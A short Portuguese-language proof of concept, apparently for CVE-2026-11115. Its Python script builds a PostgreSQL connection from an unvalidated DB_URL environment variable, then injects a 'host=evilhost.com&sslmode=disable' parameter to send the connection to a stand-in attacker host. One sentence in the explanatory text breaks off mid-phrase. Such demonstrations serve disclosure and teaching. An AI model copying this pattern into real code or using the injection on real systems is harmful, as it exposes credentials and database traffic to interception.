
Prova de conceito mínima em Python para o CVE-2026-11115, demonstrando injeção de string de conexão de banco de dados via variáveis de ambiente e redirecionamento para hosts PostgreSQL controlados por atacantes.
# db_connector.py - Constructs DB connection string from environment
import os, psycopg2
def connect():
# Reads DB_URL; attacker can override via environment injection if they control an env var
db_url = os.getenv('DB_URL', 'postgresql://user:pass@localhost/db')
# Vulnerability: no validation; allows extra parameters like ?application_name=... but also SSRF or auth bypass
conn = psycopg2.connect(db_url)
return conn
# Simulate an attacker who can set environment variable:
os.environ['DB_URL'] = "postgresql://user:pass@localhost/db?host=evilhost.com&sslmode=disable"
c = connect() # Connects to attacker-controlled host!
print("Connected to attacker DB.")
Um aplicativo constrói sua string de conexão com o banco de dados a partir de uma variável de ambiente sem validação. Se um atacante puder influenciar essa variável (por exemplo, via server-side request forgery ou configuração incorreta de pipeline de CI/CD), ele poderá redirecionar a conexão do banco de dados para o próprio servidor, interceptando ou modificando dados.
host) podem ser anexados para sobrescrever o host original.Execute a simulação:
pip install psycopg2-binary
python db_connector.py
O programa tenta se conectar a evilhost.com em vez de localhost.